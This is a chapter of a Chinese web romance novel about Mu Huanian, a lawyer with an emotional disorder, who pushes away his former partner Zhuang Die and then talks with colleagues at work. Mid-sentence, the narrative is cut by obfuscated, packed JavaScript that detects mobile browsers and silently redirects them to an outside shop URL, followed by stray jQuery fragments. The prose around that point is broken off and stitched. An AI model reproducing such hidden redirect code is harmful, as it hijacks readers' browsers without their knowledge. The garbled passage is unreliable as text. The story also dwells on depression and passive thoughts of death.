“别开灯。”


    庄迭的手停在开关上，轻声应了句“好”，走到慕华年对面坐下。


    “慕华年，你想不想睡一会儿？”


    “不了，”慕华年裹紧身上的毛毯，他从下午回家就一直保持这个姿势，直到日落，直到庄迭推门进来，“我过几天就搬走。”


    这次庄迭没说什么，也没靠近，只是起身倒了杯蜂蜜水。


    “喝点甜的吧。”


    慕华年伸手接过，庄迭第一次看见他的手抖得这么厉害。


    “晚上吃了吗？”庄迭轻声问。


    慕华年没回答。庄迭起身去厨房，打开冰箱，空空如也。


    “想吃什么？我点外卖。”


    “庄迭，”慕华年突然开口，“事到如今，也没什么不能说的了。”


    “我爸妈不是坦然接受了你，而是不得不接受。他们知道我就这个样子了，他们认命了，他们没想到我还能有人爱。”


    “你是个出众的爱人，长相、工作、学历、人品，除了他们不得不接受的性别，”慕华年笑了笑，“我想过，如果我是个姑娘，他们可能反而会劝我离开你。但我是男的，所以他们觉得我吃不了亏。”


    “多少有点自私，我知道。但那是我爸妈，而且……我其实没比他们好多少。”


    庄迭的手还扶着冰箱门，整个人笼罩在冷气里。他努力控制情绪，一句话也说不出来。


    现在再看慕华年，庄迭总会想起他拎着那袋药对自己笑的样子，他甚至不确定那个笑是不是错觉。


    慕华年好像松了口气。


    庄迭从不知道，原来自己让慕华年这么累。


    “我愿意。就算目的不纯粹，那些好都是真的。”


    “不是的，”慕华年轻叹，“他们就是希望你愧疚，这样你就会对我更好一些。”


    庄迭的手指无意识地敲着柜门，发出细碎的声响，“可我从前没得到的，你都给我了，爸妈都给我了。现在告诉我这些，是想让我怎么想？怪你们吗？我做不到。”


    “我不用你怪我，你只要看清我就行了。”


    慕华年不觉得庄迭看清后就会放弃，但逼他正视自己，也是在逼自己。


    “庄迭，我过去上了二十多年学。在遇到你之前，我以为的人生就是毕业后按部就班找个工作。这就是我的人生轨迹，很无趣的。”


    “在荷兰的那一年，”慕华年的声音有些涩，他在尽力寻找最贴切的形容词，“是我这辈子最生动的一年，是我第一次感觉到……我活着。”


    前进的道路好似没有尽头，慕华年一直这么以为，于是他不知疲倦地走啊走。


    遇见庄迭前的二十二年，他像台随时待命的机器，只要有人输入指令就会服从。正因为这种服从性，他在应试教育中获益，一路考到名校法学院。


    没人在乎他想要什么。


    直到遇见庄迭。


    拥抱着他的时候，慕华年感觉到自己的体温在慢慢恢复。


    他是唯一一个会问慕华年“你喜欢吗”的人。


    庄迭像是老天给他的奖励，补全了二十三岁慕华年缺失的那一半心脏。


    所以即使庄迭离开，他也毫无怨言。


    那样美好的人生让慕华年觉得不真实，好像本就不该属于自己，它只是名为庄迭的昙花。


    “分开后我想了很多，没日没夜地工作，然后整晚整晚地回忆。不知道是那段时间太忙了，还是我本性暴露，我根本不会爱人……”


    “别说了。”


    庄迭忍不住打断，但慕华年说：“你确定吗？这可能是我最后一次和你说这些。”


    庄迭微微发抖，悬在空中的指尖爬满情绪的神经。慕华年听他没声音了，又轻笑一声，“我一直愧疚于所有人给予我的爱，包括我父母。我无数次想过离开。我活得很累，是自讨没趣，自找苦吃的累。我会因为我的死而愧疚，却也会因为我的活而痛苦。庄迭，你告诉我我该怎么办？”


    “无条件的爱，在我看来不可思议。从小我用乖巧听话换夸奖，用成绩单换休息时间。我得到的一切好像都标好了价格，可到头来他们说爱是无条件的，说都是我想太多。”


    “可能真是我想太多了吧。但我要怎么办？不去想？我控制不了自己。”


    “是你救了我，让我真正活了一次。”慕华年脸上在笑，眼神温柔至极，“再次遇见的那天，就算你什么都不说，如果你想让我跪下求你，我也会做的。”


    “但只限那一天。”


    “庄迭，”慕华年顿了顿，“你走吧，好不好？”


    房间里的沉默在蔓延，一寸寸吞噬着过去。庄迭不知道自己站了多久，直到听见门响——慕华年离开了家。


    那天夜里，庄迭盖着慕华年的毛毯，拿着他放在旁边的书，一个字也看不进去。


    后来他去卫生间，在冷水下站了半小时，直到开始发抖。


    第二天慕华年再去公司的时候，看见方礼顶着和他一样憔悴的脸。两人相视苦笑，沉默地站在电梯里。


    “那个……帮我也冲杯咖啡吧。”电梯门打开，方礼跟在慕华年身后说。


    “行，加糖吗？”


    “加，想喝点甜的。”


    慕华年推门的动作顿了一下，他想起了自己没有喝掉的那杯蜂蜜水。


    “你今天还去找宋庭翮吗？”


    “去，”方礼瘫坐在慕华年对面，接过咖啡时道了声谢，“我答应他了，这个项目我会跟到底的。不会再跑了。”


    慕华年没再多问，给自己冲了杯浓缩，一口下去皱起眉。


    “你们昨天那顿饭吃得怎么样？”


    方礼端着咖啡不急着喝，目光停留在打转的奶泡上，他其实现在一点也不困。


    “我没去。”慕华年说。


    方礼抬头看他，“不敢？”


    “之前还有侥幸。那袋药撒了一地的时候，什么都没有了。”


    “那你最近住哪？”


    方礼太了解慕华年了，尤其看见他穿着昨天的西装再次出现在公司的时候，他都不用问就知道他又在街上溜达了一夜。


    慕华年朝方礼身后的沙发扬了扬下巴，“反正我也睡不着，在哪都一样。”


    孙潇进来时，两人各端着一个杯子，光闻咖啡味就够提神了。


    “祖宗们，开茶话会呢？”


    孙潇靠在慕华年桌边，看见他欲言又止，没理会，转身对方礼说：“人小宋在会议室了，你就让人这么等着？”


    “他怎么这么有精力啊。”


    方礼叹气，起身时下意识扶了把腰。慕华年轻笑一声撇过头。


    “还笑呢？昨儿小庄饭都没吃直接跑了，聊得怎么样？”


    慕华年的笑凝固在脸上，下意识要拿手机订餐，但解锁后又被按灭。他把手机扔在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128793|195872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    桌上，问：“你和他说什么了？”


    “我可没主动提你。是路远舟问起你怎么来的TOTT，我只是实话实说。”


    慕华年没再问。昨晚即使夜色再深，他也看得清庄迭眼里的心疼。


    “他没放下，你也没放下，”孙潇看着慕华年，“那何必相互折磨呢？”


    “姐，”慕华年顿了顿，“如果一个人真的幸福，他会跑掉吗？”


    孙潇明白他的意思。慕华年继续说：“我有情感障碍，我没有办法直白表达感情。说不出喜欢，也说不出爱。别人一推我，我就走。”


    “可庄迭需要一个明明白白爱他的人。我试过了……没做到。”


    那次去荷兰，慕华年顺路找到了从莱，让她做了自己的心理医生。


    后来他问从莱自己为什么会这样，从莱没直接回答，只是让他回忆从小到大哪个选择是自己做的。


    只有去荷兰。


    那是慕华年这辈子唯一的叛逆，他从父母规划好的人生路上逃跑了。


    他没被人坚定地选择过，没被信任过，没被爱过。从莱说这就是原因。


    他习惯于被动接受一切，逃避和怀疑就成了他的本能反应。


    所以无论是二十二岁还是二十八岁，庄迭对他越好，越是表白，他越是喜欢庄迭，就越是动摇。他怕哪天庄迭看清他的本质，他会自私地拉庄迭一起下沉。


    后来他们真的在一起了，慕华年在日常琐碎中暂时忘记了病痛，又或者说病痛短暂地忘记了他。


    他明明已经不太记得生病前的自己了，但在庄迭身边，他永远能感受到了安全感和快乐。


    于是他更怕庄迭知道，怕他知道后会害怕，会逃走。


    他就是这么自私又懦弱。


    他的自我评价一向尖锐又消极。


    那天在高速公路上，庄迭的每一句话都在说他自己。慕华年沉默听着，却觉得那分明是自己的罪己诏，可他还是选择了隐瞒。


    虽然现在看来，命中注定的结果不会因他隐瞒而改变。


    好在慕华年没做让自己讨厌的事，他被动接受庄迭的爱，也默许他对自己做任何事。


    他自学成才的回应方式是无条件包容。


    他像个没有形状的容器，接受属于庄迭的一切，包括他的离开。


    放过他，不要问理由。没什么理由，放他走。


    于是三年里，慕华年一次也没主动联系庄迭。他给不了完美的爱，至少可以不打扰庄迭的生活。


    人可以不明不白地相爱，却不能不明不白地不爱。


    这是这段感情留给慕华年的警告。


    从开始到结束，他都不明白庄迭为什么喜欢自己。


    遇见庄迭前，他觉得不会有人喜欢这样的自己；遇见后，他也替庄迭觉得不值。


    所以当庄迭再次靠近，慕华年怕换来又一次不明不白地重蹈覆辙。


    “我的病反反复复，我的爱也是。他值得更好的人。”


    “那你为什么不直接拒绝他？”孙潇脸色沉了下来，“你这是在给他希望。”


    “他推不开的，”慕华年想起在荷兰的无数个日夜，“我只能让他一次次对我失望，让他厌弃我，让他彻底恨我。”


    “那你现在算什么？随叫随到的备胎？”


    这个词确实难听，但很贴切。


    慕华年笑了笑，点头：“对。”